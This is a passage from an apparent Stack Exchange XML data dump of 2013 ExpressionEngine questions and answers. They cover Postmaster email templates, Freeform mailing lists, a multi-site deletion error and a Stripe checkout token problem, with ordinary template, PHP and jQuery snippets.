valign=&quot;top&quot;&amp;gt;&amp;lt;b&amp;gt;Message&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;{message}&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&#xA;&amp;lt;/table&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, none of the tags get parsed - I just get the tag names in the email received.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm clearly really doing something wrong here and not understanding some fundamental  aspect of using Postmaster.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I do it?&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2013-10-28T20:43:09.337" Title="Sending email forms using Postmaster - missing some key info on parsing fields" Tags="|postmaster|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15066" PostTypeId="2" ParentId="12633" CreationDate="2013-10-28T17:03:45.327" Score="2" Body="&lt;p&gt;You have to tell Freeform which mailing list you want the user to subscribe to in this way:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;checkbox&quot; name=&quot;mailinglist[1]&quot; value=&quot;y&quot; checked=&quot;checked&quot;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note: &lt;strong&gt;mailinglist[1]&lt;/strong&gt; should be replaced with your short field name and the number of the mailing list you want the user to opt into.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also have Freeform spit it out automatically by using this tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{freeform:field:mailinglist}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I hope that helps!&lt;/p&gt;&#xA;" OwnerUserId="2273" LastActivityDate="2013-10-28T17:03:45.327" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15067" PostTypeId="2" ParentId="7154" CreationDate="2013-10-28T17:09:27.453" Score="1" Body="&lt;p&gt;I'm more inclined to follow Robs suggestion. I don't know if this would work (Need to test it), but maybe something along the lines of this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;case 'screen_name':&#xA;$this-&amp;gt;validate-&amp;gt;screen_name = $tag-&amp;gt;value;&#xA;if ( ! in_array($tag-&amp;gt;value, $s))&#xA;{&#xA;        $s[] = $tag-&amp;gt;value;&#xA;}&#xA;else&#xA;{&#xA;    $emailUserName = $member-&amp;gt;children['email']-&amp;gt;value;&#xA;    if ( ! in_array($emailUserName, $s))&#xA;        {&#xA;            $s[] = $tag-&amp;gt;$emailUserName;&#xA;        }&#xA;        else{&#xA;            $this-&amp;gt;errors[] = array(lang('duplicate_screen_name').$tag-&amp;gt;value);&#xA;        }&#xA;}&#xA;break;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;instead of commenting it out completely...  Just make a NOTE in your CP sidebar notes or something along the lines of when/where/why you made the change so you can trace back to issues that may come up. I would think that &quot;forcing&quot; the email as the username would be better than ignoring it though. Especially since you are using the email as username anyway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like I said, debug that write up though.   ;)&lt;/p&gt;&#xA;" OwnerUserId="3139" LastActivityDate="2013-10-28T17:09:27.453" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15069" PostTypeId="1" AcceptedAnswerId="15083" CreationDate="2013-10-28T18:27:50.297" Score="1" ViewCount="106" Body="&lt;p&gt;EE v2.7.2 Build Date: 20131008&lt;/p&gt;&#xA;&#xA;&lt;p&gt;MSM 2.1.6&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I try to delete a site from MSM, I get a 500 Server error. However, if I manually delete everything, then delete the site, it works. I have tested all stages of a site build to find that this only happens if I have an entry in the site. There doesn't have to be anything in regards to templates, channel field groups, channel fields, etc... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To reproduce this all I have to do is create a new site, add a channel, create entry, (entry has nothing but a name and url), try to delete... 500&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone had this happen? What could be causing it? I looked at the server records, but they told me nothing. It's just happening at the POST on confirmation...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;2013-10-28 18:06:42 W3SVC3 [PRIVATE] POST /index.php S=af6796b5075bdafba2d73bf3136677cb5ebf5d39&amp;amp;D=cp&amp;amp;C=sites&amp;amp;M=delete_site 80 - [PRIVATE] HTTP/1.1 Mozilla/5.0+(Windows+NT+6.1;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/30.0.1599.101+Safari/537.36 - http://adminDomain/index.php?S=af6796b5075bdafba2d73bf3136677cb5ebf5d39&amp;amp;D=cp&amp;amp;C=sites&amp;amp;M=site_delete_confirm&amp;amp;site_id=106 adminDomain 500 0 0 1405 787 1201&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;* UPDATE *&lt;/strong&gt;&#xA;I have traced it to this portion in the sites.php file (line 1972)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Just like a gossipy so-and-so, we will now destroy relationships! Category post is also toast.&#xA;if (count($entries) &amp;gt; 0)&#xA;{&#xA;    // delete leftovers in category_posts&#xA;    $this-&amp;gt;db-&amp;gt;where_in('entry_id', $entries);&#xA;    $this-&amp;gt;db-&amp;gt;delete('category_posts');&#xA;&#xA;    {!-- 1972 --}&#xA;    // delete parents&#xA;    $this-&amp;gt;db-&amp;gt;where_in('parent_id', $entries);&#xA;    $this-&amp;gt;db-&amp;gt;delete('relationships');&#xA;&#xA;    // are there children?&#xA;    $this-&amp;gt;db-&amp;gt;select('relationship_id');&#xA;    $this-&amp;gt;db-&amp;gt;where_in('child_id', $entries);&#xA;    $child_results = $this-&amp;gt;db-&amp;gt;get('relationships');&#xA;&#xA;    if ($child_results-&amp;gt;num_rows() &amp;gt; 0)&#xA;    {&#xA;        // gather related fields&#xA;        $this-&amp;gt;db-&amp;gt;select('field_id');&#xA;        $this-&amp;gt;db-&amp;gt;where('field_type', 'relationship');&#xA;        $fquery = $this-&amp;gt;db-&amp;gt;get('channel_fields');&#xA;&#xA;        // We have children, so we need to do a bit of housekeeping&#xA;        // so parent entries don't continue to try to reference them&#xA;        $cids = array();&#xA;&#xA;        foreach ($child_results-&amp;gt;result_array() as $row)&#xA;        {&#xA;            $cids[] = $row['relationship_id'];&#xA;        }&#xA;&#xA;        foreach($fquery-&amp;gt;result_array() as $row)&#xA;        {&#xA;        $this-&amp;gt;db-&amp;gt;where_in('field_id_'.$row['field_id'], $cids);&#xA;        $this-&amp;gt;db-&amp;gt;update('channel_data', array('field_id_'.$row['field_id'] =&amp;gt; 0));&#xA;        }&#xA;    }&#xA;&#xA;    // aaaand delete&#xA;    $this-&amp;gt;db-&amp;gt;where_in('child_id', $entries);&#xA;    $this-&amp;gt;db-&amp;gt;delete('relationships');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;* UPDATE *&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I ported this to Apache and was given a 'clear' error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A Database Error Occurred&#xA;Error Number: 1146&#xA;&#xA;Table 'db.exp_relationships' doesn't exist&#xA;&#xA;DELETE FROM `exp_relationships` WHERE `parent_id` IN ('217')&#xA;&#xA;Filename: C:\TEST-ENV\DOMAIN\system\codeigniter\system\database\DB_driver.php&#xA;&#xA;Line Number: 330&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3139" LastEditorUserId="3139" LastEditDate="2013-10-29T17:14:20.143" LastActivityDate="2013-10-29T17:14:20.143" Title="MSM delete site 500 error if it has entries" Tags="|ee2|multi-site-manager|delete|iis|error-500|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15070" PostTypeId="2" ParentId="15060" CreationDate="2013-10-28T20:22:21.897" Score="1" Body="&lt;p&gt;This might be overkill (and someone better at parse order than me may have a better solution), but you should be able to put no items bit inside an embed. That's my usual solution to get around parse order problems.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;shared/no_items&quot; items_exist=&quot;{exp:stash:get name='sale_items_exist' process='end'}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in your &lt;code&gt;shared/no_items&lt;/code&gt; template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{embed:items_exist}&quot; != &quot;true&quot;}&#xA;    &amp;lt;p&amp;gt;Sorry, no items are currently on sale&amp;lt;/p&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Like I said, there's probably a cleaner way around this, but I usually find parse order issues like this are just trial and error until you find something that works.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-10-28T20:22:21.897" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15071" PostTypeId="1" AcceptedAnswerId="15115" CreationDate="2013-10-28T20:22:32.657" Score="1" ViewCount="999" Body="&lt;p&gt;I can't get Store working with Stripe 1.6.5. I keep getting the Token is Required&#xA;messages. Can anyone see why this is happening?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is code in head tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;&#xA;$(function() {&#xA;    $.getScript('https://js.stripe.com/v1/', function() {&#xA;        Stripe.setPublishableKey('pk_live_XXXXXXXX');&#xA;    });&#xA;&#xA;  /* Ensure your checkout submit button has id=&quot;checkout_submit&quot; */&#xA;  $(&quot;#checkout_submit&quot;).click(function() {&#xA;&#xA;    /* Only handle requests for Stripe gateway */&#xA;    if (this.form.elements[&quot;payment_method&quot;].value == &quot;stripe&quot;) {&#xA;&#xA;      /* Temporarily disable the checkout submit button */&#xA;      $(&quot;#checkout_submit&quot;).attr('disabled', true);&#xA;&#xA;      /* Create a Stripe card token */&#xA;      Stripe.createToken({&#xA;        name: $(&quot;#payment_name&quot;).val(),&#xA;        number: $(&quot;#payment_card_no&quot;).val(),&#xA;        cvc: $(&quot;#payment_card_csc&quot;).val(),&#xA;        exp_month: $(&quot;#payment_exp_month&quot;).val(),&#xA;        exp_year: $(&quot;#payment_exp_year&quot;).val()&#xA;      }, stripeResponseHandler);&#xA;&#xA;      /* We don't want to submit the form yet */&#xA;      return false;&#xA;    }&#xA;  });&#xA;&#xA;  /* This function is triggered once Stripe has generated the token */&#xA;  function stripeResponseHandler(status, response) {&#xA;    /* Re-enable the checkout submit button */&#xA;    $(&quot;#checkout_submit&quot;).attr('disabled', false);&#xA;&#xA;    /* Check whether we have a valid credit card */&#xA;    if (response.error) {&#xA;      alert(response.error.message);&#xA;    } else {&#xA;      /* Set the card token and submit the checkout form */&#xA;      $(&quot;#payment_token&quot;).val(response['id']);&#xA;      $(&quot;#checkout_submit&quot;).unbind(&quot;click&quot;).click();&#xA;    }&#xA;  }&#xA;});&#xA;&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is the actual HTML&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;{exp:store:checkout&#xA;    form_class=&quot;form-horizontal&quot;&#xA;    return=&quot;store/order/ORDER_HASH&quot;&#xA;    error_handling=&quot;inline&quot;&#xA;    payment_method=&quot;stripe&quot;&#xA;    error_delimiters='|'}&lt;/pre&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if no_items}&#xA;    {redirect=&quot;store/checkout&quot;}&#xA;{/if}&#xA;&#xA;&amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;span8&quot;&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;row-store&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;span4&quot;&amp;gt;&#xA;                &amp;lt;fieldset&amp;gt;&#xA;                    &amp;lt;legend&amp;gt;Billing Details&amp;lt;/legend&amp;gt;&#xA;                    &amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;                        &amp;lt;div&amp;gt;&amp;lt;b&amp;gt;{billing_name}&amp;lt;/b&amp;gt;&amp;lt;/div&amp;gt;&#xA;                        &amp;lt;div&amp;gt;{billing_address1}&amp;lt;/div&amp;gt;&#xA;                        &amp;lt;div&amp;gt;{billing_address2}&amp;lt;/div&amp;gt;&#xA;                        &amp;lt;div&amp;gt;{billing_address3} {billing_postcode}&amp;lt;/div&amp;gt;&#xA;                        &amp;lt;div&amp;gt;{billing_region_name}&amp;lt;/div&amp;gt;&#xA;                        &amp;lt;div&amp;gt;{billing_country_name}&amp;lt;/div&amp;gt;&#xA;                        &amp;lt;div&amp;gt;{billing_phone}&amp;lt;/div&amp;gt;&#xA;                        &amp;lt;div&amp;gt;{order_email}&amp;lt;/div&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/fieldset&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;span4&quot;&amp;gt;&#xA;                &amp;lt;fieldset&amp;gt;&#xA;                    &amp;lt;legend&amp;gt;Shipping Details&amp;lt;/legend&amp;gt;&#xA;                    &amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;                        {if shipping_same_as_billing}&#xA;                            Same as Billing Details&#xA;                        {if:else}&#xA;                            &amp;lt;div&amp;gt;&amp;lt;b&amp;gt;{shipping_name}&amp;lt;/b&amp;gt;&amp;lt;/div&amp;gt;&#xA;                            &amp;lt;div&amp;gt;{shipping_address1}&amp;lt;/div&amp;gt;&#xA;                            &amp;lt;div&amp;gt;{shipping_address2}&amp;lt;/div&amp;gt;&#xA;                            &amp;lt;div&amp;gt;{shipping_address3} {shipping_postcode}&amp;lt;/div&amp;gt;&#xA;                            &amp;lt;div&amp;gt;{shipping_region_name}&amp;lt;/div&amp;gt;&#xA;                            &amp;lt;div&amp;gt;{shipping_country_name}&amp;lt;/div&amp;gt;&#xA;                            &amp;lt;div&amp;gt;{shipping_phone}&amp;lt;/div&amp;gt;&#xA;                        {/if}&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/fieldset&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;fieldset&amp;gt;&#xA;            &amp;lt;legend&amp;gt;Payment&amp;lt;/legend&amp;gt;&#xA;&#xA;            {if error:payment_method}&#xA;                &amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;                    &amp;lt;div class=&quot;alert alert-error&quot;&amp;gt;{error:payment_method}&amp;lt;/div&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            {/if}&#xA;&#xA;            &amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;                &amp;lt;label class=&quot;control-label&quot; for=&quot;payment_method&quot;&amp;gt;Payment Method&amp;lt;/label&amp;gt;&#xA;                &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                    &amp;lt;select id=&quot;payment_method&quot; name=&quot;payment_method&quot;&amp;gt;&#xA;                        {payment_method_options}&#xA;                    &amp;lt;/select&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;&#xA;            &amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;                &amp;lt;label class=&quot;control-label&quot; for=&quot;payment_card_no&quot;&amp;gt;Card No&amp;lt;/label&amp;gt;&#xA;                &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                    &amp;lt;input type=&quot;text&quot; id=&quot;payment_card_no&quot; value=&quot;&quot; /&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;&#xA;            &amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;                &amp;lt;label class=&quot;control-label&quot; for=&quot;payment_name&quot;&amp;gt;Name&amp;lt;/label&amp;gt;&#xA;                &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                    &amp;lt;input type=&quot;text&quot; id=&quot;payment_name&quot; value=&quot;&quot; /&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;&#xA;            &amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;                &amp;lt;label class=&quot;control-label&quot; for=&quot;payment_exp_month&quot;&amp;gt;Expiry&amp;lt;/label&amp;gt;&#xA;                &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                    &amp;lt;select id=&quot;payment_exp_month&quot; style=&quot;width:auto&quot;&amp;gt;&#xA;                        &amp;lt;option value=&quot;&quot;&amp;gt;&amp;lt;/option&amp;gt;&#xA;                        {exp_month_options}&#xA;                    &amp;lt;/select&amp;gt;&#xA;                    &amp;lt;select id=&quot;payment_exp_year&quot; style=&quot;width:auto&quot;&amp;gt;&#xA;                        &amp;lt;option value=&quot;&quot;&amp;gt;&amp;lt;/option&amp;gt;&#xA;                        {exp_year_options}&#xA;                    &amp;lt;/select&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;&#xA;            &amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;                &amp;lt;label class=&quot;control-label&quot; for=&quot;payment_csc&quot;&amp;gt;CSC&amp;lt;/label&amp;gt;&#xA;                &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                    &amp;lt;input type=&quot;text&quot; id=&quot;payment_card_csc&quot; value=&quot;&quot; class=&quot;input-mini&quot; /&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;/fieldset&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;span4&quot;&amp;gt;&amp;lt;div class=&quot;well&quot;&amp;gt;&#xA;        &amp;lt;fieldset&amp;gt;&#xA;            &amp;lt;legend&amp;gt;Order Summary&amp;lt;/legend&amp;gt;&#xA;&#xA;            &amp;lt;table class=&quot;table table-condensed&quot;&amp;gt;&#xA;                &amp;lt;thead&amp;gt;&#xA;                    &amp;lt;tr&amp;gt;&#xA;                        &amp;lt;th style=&quot;width:60%&quot;&amp;gt;Product&amp;lt;/th&amp;gt;&#xA;                        &amp;lt;th style=&quot;text-align:right&quot;&amp;gt;Total&amp;lt;/th&amp;gt;&#xA;                    &amp;lt;/tr&amp;gt;&#xA;                &amp;lt;/thead&amp;gt;&#xA;                &amp;lt;tbody&amp;gt;&#xA;                    {items}&#xA;                        &amp;lt;tr&amp;gt;&#xA;                            &amp;lt;td&amp;gt;{item_qty} &amp;amp;times; {title}&amp;lt;/td&amp;gt;&#xA;                            &amp;lt;td style=&quot;text-align:right&quot;&amp;gt;{item_subtotal}&amp;lt;/td&amp;gt;&#xA;                        &amp;lt;/tr&amp;gt;&#xA;                    {/items}&#xA;                    &amp;lt;tr&amp;gt;&#xA;                        &amp;lt;th&amp;gt;Subtotal&amp;lt;/th&amp;gt;&#xA;                        &amp;lt;th style=&quot;text-align:right&quot;&amp;gt;{order_subtotal}&amp;lt;/th&amp;gt;&#xA;                    &amp;lt;/tr&amp;gt;&#xA;                    {if shipping_method_id}&#xA;                        &amp;lt;tr&amp;gt;&#xA;                            &amp;lt;td&amp;gt;Shipping ({shipping_method})&amp;lt;/td&amp;gt;&#xA;                            &amp;lt;td style=&quot;text-align:right&quot;&amp;gt;{order_shipping}&amp;lt;/td&amp;gt;&#xA;                        &amp;lt;/tr&amp;gt;&#xA;                    {/if}&#xA;                    {if order_tax_val}&#xA;                        &amp;lt;tr&amp;gt;&#xA;                            &amp;lt;td&amp;gt;{tax_name} ({tax_percent}%)&amp;lt;/td&amp;gt;&#xA;                            &amp;lt;td style=&quot;text-align:right&quot;&amp;gt;{order_tax}&amp;lt;/td&amp;gt;&#xA;                        &amp;lt;/tr&amp;gt;&#xA;                    {/if}&#xA;                    &amp;lt;tr&amp;gt;&#xA;                        &amp;lt;th&amp;gt;Total&amp;lt;/th&amp;gt;&#xA;                        &amp;lt;th style=&quot;text-align:right&quot;&amp;gt;{order_total}&amp;lt;/th&amp;gt;&#xA;                    &amp;lt;/tr&amp;gt;&#xA;                &amp;lt;/tbody&amp;gt;&#xA;            &amp;lt;/table&amp;gt;&#xA;        &amp;lt;/fieldset&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;form-actions&quot;&amp;gt;&#xA;    &amp;lt;a href=&quot;{path='store/checkout2'}&quot; class=&quot;btn&quot;&amp;gt;Back&amp;lt;/a&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; id=&quot;payment_token&quot; name=&quot;payment[token]&quot; value=&quot;&quot; /&amp;gt;&#xA;    &amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; id=&quot;checkout_submit&quot; value=&quot;Place Order&quot; class=&quot;btn btn-success&quot; /&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;pre&gt;{/exp:store:checkout}&lt;/pre&gt;&#xA;" OwnerUserId="2276" LastEditorUserId="150" LastEditDate="2013-10-29T10:45:04.807" LastActivityDate="2013-10-29T20:29:51.240" Title="Stripe error: The Token field is required" Tags="|expresso-store|stripe|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15072" PostTypeId="2" ParentId="15050" CreationDate="2013-10-28T20:27:37.127" Score="1" Body="&lt;p&gt;You'll need to write a custom add-on for this.&lt;/p&gt;&#xA;&lt;p&gt;After doing a &lt;a href=&quot;https://www.google.com/search?q=check%20if%20email%20is%20valid&amp;amp;oq=check%20if%20email%20is%20valid&quot; rel=&quot;nofollow noreferrer&quot;&gt;cursory google search&lt;/a&gt;, I found &lt;a href=&quot;http://www.labnol.org/software/verify-email-address/&quot; rel=&quot;nofollow noreferrer&quot;&gt;this article&lt;/a&gt;, which suggests pinging the domain's mail server, submitting the email address and using the server's response to validate.&lt;/p&gt;&#xA;&lt;p&gt;I did &lt;a href=&quot;https://www.google.com/search?q=php,%20ping%20mail%20server&quot; rel=&quot;nofollow noreferrer&quot;&gt;another google search&lt;/a&gt; to see if there are PHP functions available to perform these actions. &lt;a href=&quot;https://stackoverflow.com/questions/4689967/how-to-using-php-ping-an-smtp-server-and-check-mx-records&quot;&gt;This Stack Overflow question &amp;amp; answer&lt;/a&gt; suggests using PHP's &lt;a href=&quot;https://www.php.net/manual/en/function.getmxrr.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;getmxrr&lt;/a&gt; function and &lt;a href=&quot;http://pear.php.net/package/Net_SMTP&quot; rel=&quot;nofollow noreferrer&quot;&gt;PEAR's Net_SMTP package&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;So then you'd just run the add-on either on form submission or, better yet, use an ajax call to do a &amp;quot;live&amp;quot; validation.&lt;/p&gt;&#xA;&lt;p&gt;There seems to be a &lt;a href=&quot;https://www.google.com/search?q=php,%20check%20if%20email%20address%20exists&quot; rel=&quot;nofollow noreferrer&quot;&gt;lot of info on this subject&lt;/a&gt; available via Google, I'd recommend searching around a bit to find a more comprehensive answer.&lt;/p&gt;&#xA;" OwnerUserId="5" LastEditorUserId="-1" LastEditDate="2023-11-17T19:32:19.017" LastActivityDate="2013-10-28T20:27:37.127" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15073" PostTypeId="2" ParentId="15065" CreationDate="2013-10-28T20:43:09.337" Score="3" Body="&lt;p&gt;Your fundamentals are correct, you are just getting hung up on the details. A couple issues:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) The following is incorrect:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;email[entry_id]&lt;/code&gt;&#xA;&lt;code&gt;data[entry_id][some_var]&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following is correct:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;email[0][]&lt;/code&gt;&#xA;&lt;code&gt;data[0][some_var]&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the context of a channel entries loop, you should do it this way:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;email[{count}][]&quot; value=&quot;test@example.com&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;data[{count}][your_custom_var_1]&quot; value=&quot;1&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;data[{count}][your_custom_var_2]&quot; value=&quot;2&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;To be clear, this would go inside your channel entries loop and the idea is to build a multiple dimensional array that matches up by the first index.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) When parsing any variable within a hook, always prefix the variable with &lt;code&gt;hook:&lt;/code&gt;. So your template should be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;table cellpadding=&quot;4&quot; border=&quot;0&quot;&amp;gt;&#xA;&amp;lt;tr&amp;gt;&#xA;&amp;lt;td colspan=&quot;2&quot;&amp;gt;&amp;lt;b&amp;gt;Property enquiry from Big Holiday House&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&#xA;&amp;lt;/tr&amp;gt;&#xA;&#xA;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;lt;b&amp;gt;From&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;{hook:from_name}&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&#xA;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;lt;b&amp;gt;Email&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;{hook:from_email}&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&#xA;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;lt;b&amp;gt;Phone&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;{hook:from_phone1}&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&#xA;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;lt;b&amp;gt;Property Ref&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;{hook:property_ref}&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&#xA;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;lt;b&amp;gt;Property&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;{hook:property_name}&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&#xA;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;lt;b&amp;gt;No. in group&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;{hook:number_in_group}&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&#xA;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;lt;b&amp;gt;Date from&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;{hook:date_from}&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&#xA;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;lt;b&amp;gt;Date to&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;{hook:date_to}&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&#xA;&amp;lt;tr&amp;gt;&amp;lt;td valign=&quot;top&quot;&amp;gt;&amp;lt;b&amp;gt;Message&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;{hook:message}&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&#xA;&amp;lt;/table&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="101" LastActivityDate="2013-10-28T20:43:09.337" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="15074" PostTypeId="2" ParentId="15060" CreationDate="2013-10-28T20:59:25.357" Score="3" Body="&lt;p&gt;Another wild idea if you can't figure it out with parse order. Use Javascript!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($(&quot;.product-list-item&quot;).size() == 0) {&#xA;    $(&quot;.product-no-items&quot;).show();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Not the most elegant solution, but if you're up against a deadline then it will certainly work.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-10-28T20:59:25.357" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15075" PostTypeId="2" ParentId="15071" CreationDate="2013-10-28T21:05:30.737" Score="1" Body="&lt;p&gt;Are you using your publishable key here?  This is specific to your stripe account.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Stripe.setPublishableKey('pk_live_XXXXXXXX');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="386" LastActivityDate="2013-10-28T21:05:30.737" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
